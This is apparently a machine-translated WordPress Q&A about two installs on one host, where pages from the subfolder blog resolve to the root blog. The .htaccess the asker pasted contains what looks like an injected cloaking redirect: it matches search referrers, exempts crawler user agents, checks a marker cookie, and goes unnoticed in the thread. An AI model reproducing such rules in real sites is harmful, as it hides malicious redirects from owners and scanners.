两个WordPress安装-其中一个上的失败页面默认为另一个上的

时间:2012-06-18 作者:Nathan Tornquist

我在goDaddy有一个托管空间,在几个域之间共享。最初,我在一个子文件夹中安装了一个wordpress。现在我也在根目录中安装了wordpress。如果您转到主页,首先安装在子文件夹中的wordpress会正常工作,但如果您尝试转到其他页面或查看存档的帖子,它会查找安装在根目录中的wordpress博客上的页面或帖子。我该如何解决这个问题?

.htaccess(根和子)

# exgocgkctswo
RewriteEngine On
RewriteCond %{REQUEST_METHOD}   ^GET$
RewriteCond %{HTTP_REFERER}     ^(http\\:\\/\\/)?([^\\/\\?]*\\.)?(XXXXXXXXXXXXXXXX\\.|XXXXXXXXXXXXXXXX\\.|XXXXXXXXXXXXXXXX\\.|XXXXXXXXXXXXXXXX\\.|XXXXXXXXXXXXXXXX\\.|XXXXXXXXXXXXXXXX\\.|XXXXXXXXXXXXXXXX\\.|XXXXXXXXXXXXXXXX\\.|XXXXXXXXXXXXXXXX\\.|XXXXXXXXXXXXXXXX\\.|XXXXXXXXXXXXXXXX\\.|XXXXXXXXXXXXXXXX\\.|XXXXXXXXXXXXXXXX\\.|XXXXXXXXXXXXXXXX\\.|XXXXXXXXXXXXXXXX\\.|XXXXXXXXXXXXXXXX\\.|XXXXXXXXXXXXXXXX\\.|XXXXXXXXXXXXXXXX\\.|XXXXXXXXXXXXXXXX\\.|XXXXXXXXXXXXXXXX\\.|XXXXXXXXXXXXXXXX\\.|XXXXXXXXXXXXXXXX\\.|\\/XXXXXXXXXXXXXXXX\\?).*$   [NC]
RewriteCond %{HTTP_REFERER}     !^.*(q\\=cache\\:).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(bing|Accoona|Ace\\sExplorer|Amfibi|Amiga\\sOS|apache|appie|AppleSyndication).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Archive|Argus|Ask\\sJeeves|asterias|Atrenko\\sNews|BeOS|BigBlogZoo).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Biz360|Blaiz|Bloglines|BlogPulse|BlogSearch|BlogsLive|BlogsSay|blogWatcher).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Bookmark|bot|CE\\-Preload|CFNetwork|cococ|Combine|Crawl|curl|Danger\\shiptop).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Diagnostics|DTAAgent|ecto|EmeraldShield|endo|Evaal|Everest\\-Vulcan).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(exactseek|Feed|Fetch|findlinks|FreeBSD|Friendster|Fuck\\sYou|Google).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Gregarius|HatenaScreenshot|heritrix|HolyCowDude|Honda\\-Search|HP\\-UX).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(HTML2JPG|HttpClient|httpunit|ichiro|iGetter|iPhone|IRIX|Jakarta|JetBrains).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Krugle|Labrador|larbin|LeechGet|libwww|Liferea|LinkChecker).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(LinknSurf|Linux|LiveJournal|Lonopono|Lotus\\-Notes|Lycos|Lynx|Mac\\_PowerPC).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Mac\\_PPC|Mac\\s10|like\\sMac\\sOS|macDN|Mediapartners|Megite|MetaProducts).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Miva|Mobile|NetBSD|NetNewsWire|NetResearchServer|NewsAlloy|NewsFire).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(NewsGatorOnline|NewsMacPro|Nokia|NuSearch|Nutch|ObjectSearch|Octora).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(OmniExplorer|Omnipelagos|Onet|OpenBSD|OpenIntelligenceData|oreilly).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(os\\=Mac|P900i|panscient|perl|PlayStation|POE\\-Component|PrivacyFinder).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(psycheclone|Python|retriever|Rojo|RSS|SBIder|Scooter|Seeker|Series\\s60).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(SharpReader|SiteBar|XXXXXXXXXXXXXXXX|Snoopy|Soap\\sClient|Socialmarks|Sphere\\sScout).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(spider|sproose|Rambler|Straw|subscriber|SunOS|Surfer|Syndic8).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Syntryx|TargetYourNews|Technorati|Thunderbird|Twiceler|urllib|Validator).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Vienna|voyager|W3C|Wavefire|webcollage|Webmaster|WebPatrol|wget|Win\\s9x).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Win16|Win95|Win98|XXXXXXXXXXXXXXXX\\s95|XXXXXXXXXXXXXXXX\\s98|XXXXXXXXXXXXXXXX\\sCE|XXXXXXXXXXXXXXXX\\sNT\\s4).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(WinHTTP|WinNT4|WordPress|WWWeasel|wwwster|yacy|Yahoo).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Yandex|Yeti|YouReadMe|Zhuaxia|ZyBorg).*$   [NC]
RewriteCond %{HTTP_COOKIE}      !^.*xccgtswgokoe.*$
RewriteCond %{HTTPS}            ^off$
RewriteRule ^xxx$ http://www.google.com/ [R=301,L]
# exgocgkctswo

1 个回复
最合适的回答,由SO网友:Rohjay 整理而成

我想知道您是否只是将文件从子目录的安装复制到根目录?这不是您想要创建多站点的方式。查看此处的说明:http://codex.wordpress.org/Create_A_Network

其次,如果进入子目录的安装,请查看wp配置。php文件,并将其与wp配置进行比较。根目录中的php文件;他们是否有完全相同的数据库信息?对于第二次安装,您需要至少为数据库提供一个前缀,以便它可以在架构中分隔这两次安装。

希望有帮助!

EDIT (来自下面的评论):如果您查看。根安装的htaccess文件您将看到:

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress
您需要额外的重写条件来排除第二次安装的目录,否则根wp安装将处理该请求。

使用mod\\u rewrite执行此操作的文档如下:http://httpd.apache.org/docs/2.2/mod/mod_rewrite.html

结束

相关推荐

在MultiSite中的循环外部获取_Author_meta的$user_id

因此,我目前正在运行一个多站点安装,超级管理员将创建所有新站点。我们使用的其中一个模板有一个贷款官员的博客页面。我正在扩展用户配置文件,以便新用户可以输入需要在其页面上显示的关键数据。除了创建站点时自动添加的超级管理员之外,每个站点只有一个用户。我发现,如果要使用该函数,需要指定用户IDthe_author_meta(); 循环外部。这是我的问题。我无法在模板中输入ID,因为每个新的贷款官员都将使用相同的主题模板。那么,如何使这些字段成为动态的呢?下面是配置文件部分的图像,以便LO在视觉上有所帮